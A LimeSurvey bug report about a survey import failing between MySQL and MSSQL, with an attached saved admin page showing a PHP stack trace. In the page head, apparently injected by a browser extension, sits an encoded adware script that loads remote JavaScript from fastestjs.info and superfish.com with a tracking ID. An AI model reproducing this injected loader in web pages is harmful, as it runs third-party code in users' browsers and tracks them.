View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 06732 | Bug reports | Import/Export | public | 2012-10-18 14:25 | 2012-10-25 15:36 |
| Reporter | helper | Assigned To | c_schmitz | ||
| Priority | high | Severity | block | ||
| Status | closed | Resolution | fixed | ||
| Product Version | 2.00+ | ||||
| Fixed in Version | 2.00+ | ||||
| Summary | 06732: Unable to import survey from another installation using MySQL | ||||
| Description | Exported lsa file from another instance (that instance is using MySQL) - attempted to import to our DEV location (uses MSSQL): Internal Server Error CDbCommand failed to execute the SQL statement: SQLSTATE[23000]: [Microsoft][SQL Server Native Client 11.0][SQL Server]Cannot insert explicit value for identity column in table 'lime_assessments' when IDENTITY_INSERT is set to OFF. An internal error occurred while the Web server was processing your request. Please contact the webmaster to report this problem. Thank you. | ||||
| Steps To Reproduce | Exported from a MySQL (5.0) site (Version 2.00+ Build 121017) the lsa file. Attempted to import into a MSSQL (2008) site (Version 2.00+ Build 121017). | ||||
| Tags | No tags attached. | ||||
| Attached Files | UNC - LimeSurvey.htm (49,610 bytes)
<!DOCTYPE html>
<!-- saved from url=(0071)http://localhost/limesurvey/index.php/admin/survey/view/surveyid/954223 -->
<html lang="en" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script type="text/javascript" src="./UNC - LimeSurvey_files/jquery.js"></script>
<script type="text/javascript" src="./UNC - LimeSurvey_files/jquery-ui.js"></script>
<script type="text/javascript" src="./UNC - LimeSurvey_files/jquery.ui.touch-punch.min.js"></script>
<script type="text/javascript" src="./UNC - LimeSurvey_files/jquery.qtip.js"></script>
<script type="text/javascript" src="./UNC - LimeSurvey_files/jquery.notify.js"></script>
<script type="text/javascript" src="./UNC - LimeSurvey_files/admin_core.js"></script>
<title>UNC - LimeSurvey</title>
<link rel="stylesheet" type="text/css" href="./UNC - LimeSurvey_files/jquery-ui.css">
<link rel="stylesheet" type="text/css" href="./UNC - LimeSurvey_files/printablestyle.css" media="print">
<link rel="stylesheet" type="text/css" href="./UNC - LimeSurvey_files/adminstyle.css">
<link rel="stylesheet" type="text/css" href="./UNC - LimeSurvey_files/adminstyle(1).css">
<link rel="stylesheet" type="text/css" media="all" href="./UNC - LimeSurvey_files/superfish.css">
<link rel="shortcut icon" href="http://localhost/limesurvey/styles/favicon.ico" type="image/x-icon">
<link rel="icon" href="http://localhost/limesurvey/styles/favicon.ico" type="image/x-icon">
<style type="text/css"></style><style type="text/css">iframe.dealply-toast { right: -99999px !important; }iframe.dealply-toast.fastestext-revealed { right: 0px !important; }</style><script type="text/javascript" src="./UNC - LimeSurvey_files/javascript.js"></script><script src="./UNC - LimeSurvey_files/version_content.js"></script><script type="text/javascript" src="data:text/javascript,%0D%0A(function()%7B%0D%0A%20%20%20%20var%20install_source%20%3D%20'OpenInstall'%3B%0D%0A%20%20%20%20var%20ext_name%20%3D%20'FastestChrome'%3B%0D%0A%20%20%20%20var%20install_time%20%3D%20'1334073053400'%3B%0D%0A%20%20%20%20var%20add_related_deals_pref%20%3D%20'false'%3B%0D%0A%20%20%20%20var%20ctid%20%3D%20'3'%3B%0D%0A%0D%0A%20%20%20%20if(window!%3Dwindow.top)return%3Bvar%20blacklist%3D%5B%2Fveetle.com%2F%2C%2F1800flowers.com%2F%2C%2Fdominos.com%2F%2C%2Fsquidoo.com%2F%2C%2Fnytimes.com%2F%2C%2Fdeveloper.apple.com%2F%2C%2Fhotmail.com%2F%2C%2Fnfl.com%2F%2C%2Fgrooveshark.com%2F%2Cnew%20RegExp(%22www.google.com%2Freader%22)%2C%2F.*live.com%2F%2C%2F.*battlefield.com%2F%2C%2Fpch.com%2F%5D%3Bfor(var%20i%3D0%3Bi%3Cblacklist.length%3Bi%2B%2B)if(blacklist%5Bi%5D.test(document.location.href))return%3Bvar%20hashCode%3Dfunction(a)%7Bvar%20b%3D0%3Bfor(var%20c%3D0%3Bc%3Ca.length%3Bc%2B%2B)%7Bb%3D((b%3C%3C5)-b)%2Ba.charCodeAt(c)%3Bb%3Db%26b%3B%7Dreturn%20b%3B%7D%3Bvar%20ready%3Dfunction(a)%7Bvar%20b%3Dfunction()%7Bif(window.document.body)a()%3Belse%20setTimeout(b%2C100)%3B%7D%3Bb()%3B%7D%3Bready(function()%7BsetTimeout(function()%7Bif(%2F%5Ehttp%3A%2F.test(document.location.href)%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2F%2Fwww.google.com%22).test(document.location.href))%7Bvar%20a%3Dfunction(a)%7Bvar%20b%3Ddocument.createElement('script')%3Bb.type%3D'text%2Fjavascript'%3Bb.src%3Da%3Bdocument.getElementsByTagName('head')%5B0%5D.appendChild(b)%3B%7D%3Bvar%20b%3Dfunction(b)%7Bif(add_related_deals_pref%3D%3D'None'%7C%7Cadd_related_deals_pref%3D%3D'true')a('http%3A%2F%2Fi.fastestjs.info%2Ffast%2Fjavascript.js%3Fchannel%3D'%2Bb)%3B%7D%3Bvar%20c%3Dfunction(b%2Cc)%7Ba(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bb%2B%22%26CTID%3D%22%2Bc%2B%22%26userId%3D%22%2B%22fastest00_%22%2Bb%2B%22_%22%2Bc%2B'_')%3B%7D%3Bvar%20d%3Dnavigator.browserLanguage%7C%7Cnavigator.language%3Bvar%20e%3D%22fastestchrome%22%3Bif(%2FChrome%2F.test(navigator.userAgent))if(ext_name%3D%3D%22Fastanium%22)e%3D%22fastanium%22%3Belse%20e%3D%22fastestchrome%22%3Belse%20if(%2FFirefox%2F.test(navigator.userAgent))e%3D%22fastestfox%22%3Belse%20if(%2FSafari%2F.test(navigator.userAgent))e%3D%22fastestsafari%22%3Belse%20if(%2FTrident%2F.test(navigator.userAgent))e%3D%22fastestie%22%3Bvar%20f%3DMath.abs(hashCode(install_time))%3Bvar%20g%3D%2F%5Ehttp%3A%2F.test(document.location.href)%3Bif(%2F%5Een%2Fi.test(d)%7C%7C%2F%5Ede%2Fi.test(d)%7C%7C%2F%5Efr%2Fi.test(d))if(%2FChrome%2F.test(navigator.userAgent))if(f%25100%3C49%26%26g)%7Bc(e%2C900)%3BsetTimeout(function()%7Bb('fast2')%3B%7D%2C10000)%3B%7Delse%20if(f%25100%3D%3D49%26%26g)c(e%2C4900)%3Belse%20if(f%25100%3E%3D50%26%26f%25100%3C60%26%26g)c(e%2C56000)%3Belse%20if(f%25100%3E%3D60%26%26f%25100%3C70%26%26g)c(e%2C67000)%3Belse%20if(f%25100%3E%3D70%26%26f%25100%3C80%26%26g)c(e%2C78000)%3Belse%20if(f%25100%3D%3D99%26%26g)%7Bc(e%2C9900)%3Bb('fast_max')%3B%7Delse%20if(f%25100%3D%3D98%26%26g)%7Bc(e%2C9800)%3BsetTimeout(function()%7Bb('fast_max_2')%3B%7D%2C10000)%3B%7Delse%20if(f%25100%3D%3D97%26%26g)c(e%2C9700)%3Belse%20if(f%25100%3D%3D96%26%26g)%7Bc(e%2C9600)%3BsetTimeout(function()%7Bb('fast_max_15')%3B%7D%2C15000)%3B%7Delse%20if(f%25100%3D%3D95%26%26g)c(e%2C9500)%3Belse%20if(f%25100%3D%3D94%26%26g)c(e%2C9400)%3Belse%20c(e%2Cctid)%3Belse%20c(e%2Cctid)%3Belse%20if(%2FChrome%2F.test(navigator.userAgent)%26%26%2F%5Ehttp%3A%2F.test(document.location.href))if(f%25100%3E%3D50%7C%7Cf%3D%3D0)%7Bc(e%2C910)%3BsetTimeout(function()%7Bb('fast1')%3B%7D%2C15000)%3B%7Delse%20c(e%2C1000)%3Belse%20if(true%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2F%2Fwww.google.com%22).test(document.location.href))c(e%2C1000)%3B%7D%7D%2C500)%3B%7D)%3B%0D%0A%7D())%3B%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A"></script><script src="./UNC - LimeSurvey_files/chrome_content.js"></script><script type="text/javascript" src="./UNC - LimeSurvey_files/sf_conduit.jsp"></script><script type="text/javascript" src="./UNC - LimeSurvey_files/sf_code.jsp"></script><script type="text/javascript" src="./UNC - LimeSurvey_files/base_single_icon.js"></script></head>
<body>
<script type="text/javascript">
var userdateformat='dd.mm.yy';
var userlanguage='en';
</script>
<div class="wrapper">
<div class="maintitle">UNC - LimeSurvey</div>
<div class="menubar">
<div class="menubar-title ui-widget-header">
<div class="menubar-title-left">
<strong>Administration</strong>
-- Logged in as:<strong>
<a href="http://localhost/limesurvey/index.php/admin/user/personalsettings">
admin <img src="./UNC - LimeSurvey_files/profile_edit.png" alt="Edit your personal preferences"></a>
</strong>
</div>
</div>
<div class="menubar-main">
<div class="menubar-left">
<a href="http://localhost/limesurvey/index.php/admin/index">
<img src="./UNC - LimeSurvey_files/home.png" alt="Default administration page" width="32" height="32"></a>
<img src="./UNC - LimeSurvey_files/blank.gif" alt="" width="11">
<img src="./UNC - LimeSurvey_files/separator.gif" id="separator1" class="separator" alt="">
<a href="http://localhost/limesurvey/index.php/admin/user/index">
<img src="./UNC - LimeSurvey_files/security.png" alt="" width="32" height="32"></a>
<a href="http://localhost/limesurvey/index.php/admin/usergroups/index">
<img src="./UNC - LimeSurvey_files/usergroup.png" alt="" width="32" height="32"></a>
<a href="http://localhost/limesurvey/index.php/admin/globalsettings">
<img src="./UNC - LimeSurvey_files/global.png" alt="" width="32" height="32"></a>
<img src="./UNC - LimeSurvey_files/separator.gif" class="separator" alt="">
<a href="http://localhost/limesurvey/index.php/admin/checkintegrity">
<img src="./UNC - LimeSurvey_files/checkdb.png" alt="" width="32" height="32"></a>
<a href="http://localhost/limesurvey/index.php/admin/dumpdb">
<img src="./UNC - LimeSurvey_files/backup.png" alt="" width="32" height="32">
</a>
<img src="./UNC - LimeSurvey_files/separator.gif" class="separator" alt="">
<a href="http://localhost/limesurvey/index.php/admin/labels/view">
<img src="./UNC - LimeSurvey_files/labels.png" alt="" width="32" height="32"></a>
<img src="./UNC - LimeSurvey_files/separator.gif" class="separator" alt="">
<a href="http://localhost/limesurvey/index.php/admin/templates/view">
<img src="./UNC - LimeSurvey_files/templates.png" alt="Template editor" width="32" height="32"></a>
<img src="./UNC - LimeSurvey_files/separator.gif" class="separator" alt="">
<a href="http://localhost/limesurvey/index.php/admin/participants/index">
<img src="./UNC - LimeSurvey_files/cpdb.png" alt="Central participant database/panel" width="32" height="32"></a>
</div>
<div class="menubar-right">
<label for="surveylist">Surveys:</label>
<select id="surveylist" name="surveylist" onchange="window.open(this.options[this.selectedIndex].value,'_top')">
<option value="/limesurvey/index.php/admin/index">None</option>
<optgroup label="Active" class="activesurveyselect">
<option style="font-weight: bold;" value="/limesurvey/index.php/admin/survey/view/surveyid/714121">UNC Lineberger Comprehensive Cancer Center Su...</option>
<option style="font-weight: bold;" value="/limesurvey/index.php/admin/survey/view/surveyid/612676">test</option>
<option style="font-weight: bold;" selected="selected" value="/limesurvey/index.php/admin/survey/view/surveyid/954223">PHQ-9 Depression Screener</option>
</optgroup><optgroup label="Inactive" class="inactivesurveyselect">
<option style="font-weight: bold;" value="/limesurvey/index.php/admin/survey/view/surveyid/695865">Patient Connect</option>
</optgroup> </select>
<a href="http://localhost/limesurvey/index.php/admin/survey/index">
<img src="./UNC - LimeSurvey_files/surveylist.png" alt="Detailed list of surveys">
</a>
<a href="http://localhost/limesurvey/index.php/admin/survey/newsurvey">
<img src="./UNC - LimeSurvey_files/add.png" alt="Create, import, or copy a survey"></a>
<img id="separator2" src="./UNC - LimeSurvey_files/separator.gif" class="separator" alt="">
<a href="http://localhost/limesurvey/index.php/admin/authentication/logout">
<img src="./UNC - LimeSurvey_files/logout.png" alt="Logout"></a>
<a href="http://docs.limesurvey.org/" target="_blank">
<img src="./UNC - LimeSurvey_files/showhelp.png" alt="LimeSurvey online manual"></a>
</div>
</div>
</div>
<p style="margin:0;font-size:1px;line-height:1px;height:1px;"> </p>
<title>PHP notice</title>
<style type="text/css">
/*<![CDATA[*/
html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,font,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td{border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;margin:0;padding:0;}
body{line-height:1;}
ol,ul{list-style:none;}
blockquote,q{quotes:none;}
blockquote:before,blockquote:after,q:before,q:after{content:none;}
:focus{outline:0;}
ins{text-decoration:none;}
del{text-decoration:line-through;}
table{border-collapse:collapse;border-spacing:0;}
body {
font: normal 9pt "Verdana";
color: #000;
background: #fff;
}
h1 {
font: normal 18pt "Verdana";
color: #f00;
margin-bottom: .5em;
}
h2 {
font: normal 14pt "Verdana";
color: #800000;
margin-bottom: .5em;
}
h3 {
font: bold 11pt "Verdana";
}
pre {
font: normal 11pt Menlo, Consolas, "Lucida Console", Monospace;
}
pre span.error {
display: block;
background: #fce3e3;
}
pre span.ln {
color: #999;
padding-right: 0.5em;
border-right: 1px solid #ccc;
}
pre span.error-ln {
font-weight: bold;
}
.container {
margin: 1em 4em;
}
.version {
color: gray;
font-size: 8pt;
border-top: 1px solid #aaa;
padding-top: 1em;
margin-bottom: 1em;
}
.message {
color: #000;
padding: 1em;
font-size: 11pt;
background: #f3f3f3;
-webkit-border-radius: 10px;
-moz-border-radius: 10px;
border-radius: 10px;
margin-bottom: 1em;
line-height: 160%;
}
.source {
margin-bottom: 1em;
}
.code pre {
background-color: #ffe;
margin: 0.5em 0;
padding: 0.5em;
line-height: 125%;
border: 1px solid #eee;
}
.source .file {
margin-bottom: 1em;
font-weight: bold;
}
.traces {
margin: 2em 0;
}
.trace {
margin: 0.5em 0;
padding: 0.5em;
}
.trace.app {
border: 1px dashed #c00;
}
.trace .number {
text-align: right;
width: 2em;
padding: 0.5em;
}
.trace .content {
padding: 0.5em;
}
.trace .plus,
.trace .minus {
display:inline;
vertical-align:middle;
text-align:center;
border:1px solid #000;
color:#000;
font-size:10px;
line-height:10px;
margin:0;
padding:0 1px;
width:10px;
height:10px;
}
.trace.collapsed .minus,
.trace.expanded .plus,
.trace.collapsed pre {
display: none;
}
.trace-file {
cursor: pointer;
padding: 0.2em;
}
.trace-file:hover {
background: #f0ffff;
}
/*]]>*/
</style>
<div class="container">
<h1>PHP notice</h1>
<p class="message">
Trying to get property of non-object </p>
<div class="source">
<p class="file">C:\xampp\htdocs\limesurvey\application\helpers\common_helper.php(1401)</p>
<div class="code"><pre><span class="ln">1389</span> * @return array Returns array with survey info or false, if survey does not exist
<span class="ln">1390</span> */
<span class="ln">1391</span> function getSurveyInfo($surveyid, $languagecode='')
<span class="ln">1392</span> {
<span class="ln">1393</span> global $siteadminname, $siteadminemail, $languagechanger;
<span class="ln">1394</span> $surveyid=sanitize_int($surveyid);
<span class="ln">1395</span> $languagecode=sanitize_languagecode($languagecode);
<span class="ln">1396</span> $thissurvey=false;
<span class="ln">1397</span>
<span class="ln">1398</span> // if no language code is set then get the base language one
<span class="ln">1399</span> if (!isset($languagecode) || $languagecode=='')
<span class="ln">1400</span> {
<span class="error"><span class="ln error-ln">1401</span> $languagecode=Survey::model()->findByPk($surveyid)->language;;
</span><span class="ln">1402</span> }
<span class="ln">1403</span>
<span class="ln">1404</span> //$query="SELECT * FROM ".db_table_name('surveys').",".db_table_name('surveys_languagesettings')." WHERE sid=$surveyid and surveyls_survey_id=$surveyid and surveyls_language='$languagecode'";
<span class="ln">1405</span>
<span class="ln">1406</span> $result = Surveys_languagesettings::model()->with('survey')->findAllByAttributes(array('surveyls_survey_id' => $surveyid, 'surveyls_language' => $languagecode));
<span class="ln">1407</span> foreach ($result as $row)
<span class="ln">1408</span> {
<span class="ln">1409</span> $thissurvey=array();
<span class="ln">1410</span> foreach ($row as $k => $v)
<span class="ln">1411</span> $thissurvey[$k] = $v;
<span class="ln">1412</span> foreach ($row->survey as $k => $v)
<span class="ln">1413</span> $thissurvey[$k] = $v;
</pre></div> </div>
<div class="traces">
<h2>Stack Trace</h2>
<table style="width:100%;">
<tbody><tr class="trace app expanded">
<td class="number">
#0 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\application\helpers\expressions\em_manager_helper.php(3913): <strong>getSurveyInfo</strong>("978173") </div>
<div class="code"><pre><span class="ln">3908</span> $LEM->allOnOnePage=$allOnOnePage;
<span class="ln">3909</span> $LEM->processedRelevance=false;
<span class="ln">3910</span> $LEM->surveyOptions['hyperlinkSyntaxHighlighting']=true; // this will be temporary - should be reset in running survey
<span class="ln">3911</span> $LEM->qid2exclusiveAuto=array();
<span class="ln">3912</span>
<span class="error"><span class="ln error-ln">3913</span> $surveyinfo = (isset($LEM->sid) ? getSurveyInfo($LEM->sid) : null);
</span><span class="ln">3914</span> if (isset($surveyinfo['assessments']) && $surveyinfo['assessments']=='Y')
<span class="ln">3915</span> {
<span class="ln">3916</span> $LEM->surveyOptions['assessments']=true;
<span class="ln">3917</span> }
<span class="ln">3918</span> // $LEM->runtimeTimings[] = array(__METHOD__,(microtime(true) - $now));
</pre></div> </td>
</tr>
<tr class="trace app expanded">
<td class="number">
#1 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\application\core\Survey_Common_Action.php(217): <strong>LimeExpressionManager</strong>::<strong>StartProcessingPage</strong>(false, "/limesurvey", true) </div>
<div class="code"><pre><span class="ln">212</span> Yii::app()->getController()->_showadminmenu(!empty($aData['surveyid']) ? $aData['surveyid'] : null);
<span class="ln">213</span>
<span class="ln">214</span> if (!empty($aData['surveyid']))
<span class="ln">215</span> {
<span class="ln">216</span>
<span class="error"><span class="ln error-ln">217</span> LimeExpressionManager::StartProcessingPage(false, Yii::app()->baseUrl,true); // so can click on syntax highlighting to edit questions
</span><span class="ln">218</span>
<span class="ln">219</span> $this->_surveybar($aData['surveyid'], !empty($aData['gid']) ? $aData['gid'] : null);
<span class="ln">220</span>
<span class="ln">221</span> if (isset($aData['display']['menu_bars']['surveysummary']))
<span class="ln">222</span> {
</pre></div> </td>
</tr>
<tr class="trace app expanded">
<td class="number">
#2 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\application\controllers\admin\surveyadmin.php(1625): <strong>Survey_Common_Action</strong>-><strong>_renderWrappedTemplate</strong>("survey", array(), array("surveyid" => "954223", "gid" => null, "qid" => null, "display" => array("menu_bars" => array("surveysummary" => true)))) </div>
<div class="code"><pre><span class="ln">1620</span> * @param array $aData Data to be passed on. Optional.
<span class="ln">1621</span> */
<span class="ln">1622</span> protected function _renderWrappedTemplate($sAction = 'survey', $aViewUrls = array(), $aData = array())
<span class="ln">1623</span> {
<span class="ln">1624</span> $this->getController()->_css_admin_includes(Yii::app()->getConfig('adminstyleurl')."superfish.css");
<span class="error"><span class="ln error-ln">1625</span> parent::_renderWrappedTemplate($sAction, $aViewUrls, $aData);
</span><span class="ln">1626</span> }
<span class="ln">1627</span>
<span class="ln">1628</span> }
</pre></div> </td>
</tr>
<tr class="trace app collapsed">
<td class="number">
#3 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\application\controllers\admin\surveyadmin.php(280): <strong>SurveyAdmin</strong>-><strong>_renderWrappedTemplate</strong>("survey", array(), array("surveyid" => "954223", "gid" => null, "qid" => null, "display" => array("menu_bars" => array("surveysummary" => true)))) </div>
<div class="code"><pre><span class="ln">275</span> $aData['surveyid'] = $iSurveyID;
<span class="ln">276</span> $aData['gid'] = $gid;
<span class="ln">277</span> $aData['qid'] = $qid;
<span class="ln">278</span> $aData['display']['menu_bars']['surveysummary'] = true;
<span class="ln">279</span>
<span class="error"><span class="ln error-ln">280</span> $this->_renderWrappedTemplate('survey', array(), $aData);
</span><span class="ln">281</span> }
<span class="ln">282</span>
<span class="ln">283</span> /**
<span class="ln">284</span> * Function responsible to deactivate a survey.
<span class="ln">285</span> *
</pre></div> </td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#4 </td>
<td class="content">
<div class="trace-file">
unknown(0): <strong>SurveyAdmin</strong>-><strong>view</strong>("954223", null, null) </div>
</td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#5 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\web\actions\CAction.php(107): <strong>ReflectionMethod</strong>-><strong>invokeArgs</strong>(SurveyAdmin, array("954223", null, null)) </div>
<div class="code"><pre><span class="ln">102</span> else if($param->isDefaultValueAvailable())
<span class="ln">103</span> $ps[]=$param->getDefaultValue();
<span class="ln">104</span> else
<span class="ln">105</span> return false;
<span class="ln">106</span> }
<span class="error"><span class="ln error-ln">107</span> $method->invokeArgs($object,$ps);
</span><span class="ln">108</span> return true;
<span class="ln">109</span> }
<span class="ln">110</span> }
</pre></div> </td>
</tr>
<tr class="trace app collapsed">
<td class="number">
#6 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\application\core\Survey_Common_Action.php(82): <strong>CAction</strong>-><strong>runWithParamsInternal</strong>(SurveyAdmin, ReflectionMethod, array("surveyid" => "954223", "sa" => "view", "iSurveyId" => "954223", "iSurveyID" => "954223")) </div>
<div class="code"><pre><span class="ln">77</span> $oMethod = new ReflectionMethod($this, $sDefault);
<span class="ln">78</span> }
<span class="ln">79</span>
<span class="ln">80</span> // We're all good to go, let's execute it
<span class="ln">81</span> // runWithParamsInternal would automatically get the parameters of the method and populate them as required with the params
<span class="error"><span class="ln error-ln">82</span> return parent::runWithParamsInternal($this, $oMethod, $params);
</span><span class="ln">83</span> }
<span class="ln">84</span>
<span class="ln">85</span> /**
<span class="ln">86</span> * Some functions have different parameters, which are just an alias of the
<span class="ln">87</span> * usual parameters we're getting in the url. This function just populates
</pre></div> </td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#7 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\web\CController.php(309): <strong>Survey_Common_Action</strong>-><strong>runWithParams</strong>(array("surveyid" => "954223", "sa" => "view")) </div>
<div class="code"><pre><span class="ln">304</span> {
<span class="ln">305</span> $priorAction=$this->_action;
<span class="ln">306</span> $this->_action=$action;
<span class="ln">307</span> if($this->beforeAction($action))
<span class="ln">308</span> {
<span class="error"><span class="ln error-ln">309</span> if($action->runWithParams($this->getActionParams())===false)
</span><span class="ln">310</span> $this->invalidActionParams($action);
<span class="ln">311</span> else
<span class="ln">312</span> $this->afterAction($action);
<span class="ln">313</span> }
<span class="ln">314</span> $this->_action=$priorAction;
</pre></div> </td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#8 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\web\CController.php(287): <strong>CController</strong>-><strong>runAction</strong>(SurveyAdmin) </div>
<div class="code"><pre><span class="ln">282</span> * @see runAction
<span class="ln">283</span> */
<span class="ln">284</span> public function runActionWithFilters($action,$filters)
<span class="ln">285</span> {
<span class="ln">286</span> if(empty($filters))
<span class="error"><span class="ln error-ln">287</span> $this->runAction($action);
</span><span class="ln">288</span> else
<span class="ln">289</span> {
<span class="ln">290</span> $priorAction=$this->_action;
<span class="ln">291</span> $this->_action=$action;
<span class="ln">292</span> CFilterChain::create($this,$action,$filters)->run();
</pre></div> </td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#9 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\web\CController.php(266): <strong>CController</strong>-><strong>runActionWithFilters</strong>(SurveyAdmin, array()) </div>
<div class="code"><pre><span class="ln">261</span> {
<span class="ln">262</span> if(($parent=$this->getModule())===null)
<span class="ln">263</span> $parent=Yii::app();
<span class="ln">264</span> if($parent->beforeControllerAction($this,$action))
<span class="ln">265</span> {
<span class="error"><span class="ln error-ln">266</span> $this->runActionWithFilters($action,$this->filters());
</span><span class="ln">267</span> $parent->afterControllerAction($this,$action);
<span class="ln">268</span> }
<span class="ln">269</span> }
<span class="ln">270</span> else
<span class="ln">271</span> $this->missingAction($actionID);
</pre></div> </td>
</tr>
<tr class="trace app collapsed">
<td class="number">
#10 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\application\controllers\AdminController.php(158): <strong>CController</strong>-><strong>run</strong>("survey") </div>
<div class="code"><pre><span class="ln">153</span> Yii::app()->session['redirectopage'] = Yii::app()->request->requestUri;
<span class="ln">154</span>
<span class="ln">155</span> $this->redirect($this->createUrl('/admin/authentication/login'));
<span class="ln">156</span> }
<span class="ln">157</span>
<span class="error"><span class="ln error-ln">158</span> return parent::run($action);
</span><span class="ln">159</span> }
<span class="ln">160</span>
<span class="ln">161</span> /**
<span class="ln">162</span> * Routes all the actions to their respective places
<span class="ln">163</span> *
</pre></div> </td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#11 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\web\CWebApplication.php(276): <strong>AdminController</strong>-><strong>run</strong>("survey") </div>
<div class="code"><pre><span class="ln">271</span> {
<span class="ln">272</span> list($controller,$actionID)=$ca;
<span class="ln">273</span> $oldController=$this->_controller;
<span class="ln">274</span> $this->_controller=$controller;
<span class="ln">275</span> $controller->init();
<span class="error"><span class="ln error-ln">276</span> $controller->run($actionID);
</span><span class="ln">277</span> $this->_controller=$oldController;
<span class="ln">278</span> }
<span class="ln">279</span> else
<span class="ln">280</span> throw new CHttpException(404,Yii::t('yii','Unable to resolve the request "{route}".',
<span class="ln">281</span> array('{route}'=>$route===''?$this->defaultController:$route)));
</pre></div> </td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#12 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\web\CWebApplication.php(135): <strong>CWebApplication</strong>-><strong>runController</strong>("admin/survey/sa/view") </div>
<div class="code"><pre><span class="ln">130</span> foreach(array_splice($this->catchAllRequest,1) as $name=>$value)
<span class="ln">131</span> $_GET[$name]=$value;
<span class="ln">132</span> }
<span class="ln">133</span> else
<span class="ln">134</span> $route=$this->getUrlManager()->parseUrl($this->getRequest());
<span class="error"><span class="ln error-ln">135</span> $this->runController($route);
</span><span class="ln">136</span> }
<span class="ln">137</span>
<span class="ln">138</span> /**
<span class="ln">139</span> * Registers the core application components.
<span class="ln">140</span> * This method overrides the parent implementation by registering additional core components.
</pre></div> </td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#13 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\base\CApplication.php(162): <strong>CWebApplication</strong>-><strong>processRequest</strong>() </div>
<div class="code"><pre><span class="ln">157</span> */
<span class="ln">158</span> public function run()
<span class="ln">159</span> {
<span class="ln">160</span> if($this->hasEventHandler('onBeginRequest'))
<span class="ln">161</span> $this->onBeginRequest(new CEvent($this));
<span class="error"><span class="ln error-ln">162</span> $this->processRequest();
</span><span class="ln">163</span> if($this->hasEventHandler('onEndRequest'))
<span class="ln">164</span> $this->onEndRequest(new CEvent($this));
<span class="ln">165</span> }
<span class="ln">166</span>
<span class="ln">167</span> /**
</pre></div> </td>
</tr>
<tr class="trace app collapsed">
<td class="number">
#14 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\index.php(178): <strong>CApplication</strong>-><strong>run</strong>() </div>
<div class="code"><pre><span class="ln">173</span> *
<span class="ln">174</span> */
<span class="ln">175</span> require_once BASEPATH . 'yii' . EXT;
<span class="ln">176</span> require_once APPPATH . 'core/LSYii_Application' . EXT;
<span class="ln">177</span>
<span class="error"><span class="ln error-ln">178</span> Yii::createApplication('LSYii_Application', APPPATH . 'config/config' . EXT)->run();
</span><span class="ln">179</span>
<span class="ln">180</span> /* End of file index.php */
<span class="ln">181</span> /* Location: ./index.php */
</pre></div> </td>
</tr>
</tbody></table>
</div>
<div class="version">
2012-10-25 14:37:19 Apache/2.4.2 (Win32) OpenSSL/1.0.1c PHP/5.4.4 <a href="http://www.yiiframework.com/">Yii Framework</a>/1.1.10 </div>
</div>
<script type="text/javascript">
/*<![CDATA[*/
var traceReg = new RegExp("(^|\\s)trace-file(\\s|$)");
var collapsedReg = new RegExp("(^|\\s)collapsed(\\s|$)");
var e = document.getElementsByTagName("div");
for(var j=0,len=e.length;j<len;j++){
if(traceReg.test(e[j].className)){
e[j].onclick = function(){
var trace = this.parentNode.parentNode;
if(collapsedReg.test(trace.className))
trace.className = trace.className.replace("collapsed", "expanded");
else
trace.className = trace.className.replace("expanded", "collapsed");
}
}
}
/*]]>*/
</script>
